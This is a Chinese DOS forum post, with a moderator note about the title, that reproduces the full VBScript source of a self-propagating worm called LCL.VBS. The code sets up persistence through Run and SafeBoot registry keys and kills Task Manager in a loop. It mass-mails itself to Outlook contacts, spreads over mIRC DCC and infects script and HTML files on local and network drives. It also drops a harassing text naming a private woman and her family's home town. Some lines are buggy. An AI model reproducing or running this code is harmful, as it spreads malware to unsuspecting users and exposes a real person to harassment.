中国DOS联盟

───────────────────　版务记录　────────────────────
执行：lxmxn
标题：我再发个LCL.VBS
说明：因标题表述过于模糊，不便于论坛的搜索和管理，请在三日内修改标题，否则扣除2点积分
参考：http://www.cn-dos.net/forum/viewthread.php?tid=7326&fpage=1
　　　http://community.csdn.net/IndexPage/SmartQuestion.aspx
───────────────────　版务记录　────────────────────


On Error GoTo 0

Set fso = CreateObject("Scripting"&"."&"FileSystem"&"Object")
Startup = WshShell.SpecialFolders("Startup")
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set lcl = fso.GetFile(WScript.ScriptFullName)
lcl.Copy(dirwin&"\lcl.vbs")
lcl.Copy(dirsystem&"\lcl.vbs")

set sf0 = fso.GetSpecialFolder(0)
b = sf0.drive&"\lcl.txt"
Set lcl = fso.CreateTextFile( b , True )
lcl.WriteLine("I love person,") ''10
lcl.WriteLine("She doesn't love me.")
lcl.WriteLine("She is Liu Chun Li,")
lcl.WriteLine("She mother home is Yuzhen.Qixian.Kaifeng.Henan.China.")
lcl.WriteLine("I was died because by her,")
lcl.WriteLine("I am demanding my life of you.")
fso.CopyFile b, Startup&"\lcl.txt"
lcl.Close

set WshShell = WScript.CreateObject("WScript"&"."&"Shell")
outtime=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (outtime>=1) then
wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
wshshell.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\lcl",dirwin&"\lcl.vbs"
wshshell.Regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\lcl" dirsystem&"\lcl.vbs"
wshshell.Regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\lcl" dirwin&"\lcl.vbs"
do
wshshell.run "cmd /c taskkill /f /im taskmgr.exe",0
wshshell.sendkeys "%"
loop

self=fso.opentextfile(wscript.scriptfullname,1).readall
For Each d in fso.Drives
if d.drivetype=4 then
Exit For
else
fso.CopyFile b, d&"\lcl.txt"
rem scan(d)
end if
next

Set WSHNetwork = WScript.CreateObject("WScript.Network")
Set colDrives = WSHNetwork.EnumNetworkDrives
If colDrives.Count > 0 Then
For i = 0 To colDrives.Count - 1 Step 2
net1 = coldrives(i)
net2 = colDrives(i + 1)
scan (net1)
scan (net2)
Next
End If

on error resume next
Set outlookApp = CreateObject("Outlook.Application")
If outlookApp= "Outlook" or outlookapp = "outlook express" Then
Set mapiObj=outlookApp.GetNameSpace("MAPI") ''获取MAPI的名字空间
Set addrList= mapiObj.AddressLists ''获取地址表的个数
For Each addr In addrList
If addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count ''获取每个地址表的Email记录数
For addrEntIndex= 1 To addrEntCount ''遍历地址表的Email地址
Set item = outlookApp.CreateItem(0) ''获取一个邮件对象实例
Set addrEnt = addr.AddressEntries(addrEntIndex) ''获取具体Email地址
item.To = addrEnt.Address
item.Subject = "find a person"
item.Body = "her name is Liu Chun li,her mother home is Yuzhen.Qixian.Kaifeng.Henan.China"
Set attachMents=item.Attachments
attachMents.Add fso.GetSpecialFolder(0) & "\lcl.vbs"
item.DeleteAfterSubmit = True ''信件提交后自动删除
If item.To <> "" Then
item.Send
shellObj.regwrite "HKCU\software\Mailtest\mailed", "1"
End If
Next
End If
Next
End if

set mirc=fso.CreateTextFile("C:\mirc\script.ini")
fso.CopyFile Wscript.ScriptFullName, "C:\mirc\lcl.vbs", True
mirc.WriteLine ""
mirc.WriteLine "n0=on 1:join:*.*: { if ( $nick !=$me ) {halt} /dcc send $nick C:\mirc\lcl.vbs }"
'利用命令/ddc send $nick lcl.vbs给通道中的其他用户传送病毒文件
mirc.Close

sub scan(folder)
on error resume next
set fd=fso.getfolder(folder)
for each file in fd.files ''40
ext=fso.GetExtensionName(file)
ext=lcase(ext)
if ext="vbs" or ext="vbe" or ext="wsc" or ext="wsf" or ext="wsh" or ext="sct" then
set ap=fso.opentextfile(file.path,8,true)
ap.write chr(13)&chr(10)
ap.write self
ap.close
end if
if ext="htm" or ext="html" or ext="asp" or ext="eml" or ext="aspx" or ext="hta" or ext="shtml" then
set ap=fso.opentextfile(file.path,8,true)
ap.write "<"&"SCRIPT LANGUAGE='VBScript'> "
ap.write chr(13)&chr(10)
ap.write self
ap.write "<"&"/SCRIPT>"
ap.close
end if
if ext="htd" or ext="xhtml" or ext="phtml" or ext="htt" or ext="cfm" or ext="tpl" or ext="dtd" then
set ap=fso.opentextfile(file.path,8,true)
ap.write "<"&"SCRIPT LANGUAGE='VBScript'> "
ap.write chr(13)&chr(10)
ap.write self
ap.write "<"&"/SCRIPT>"
ap.close
end if
next
for each subfd in fd.subfolders
scan(subfd)
next
end sub


rem folder.htt and desktop.ini

[ Last edited by lxmxn on 2007-10-6 at 09:04 AM ]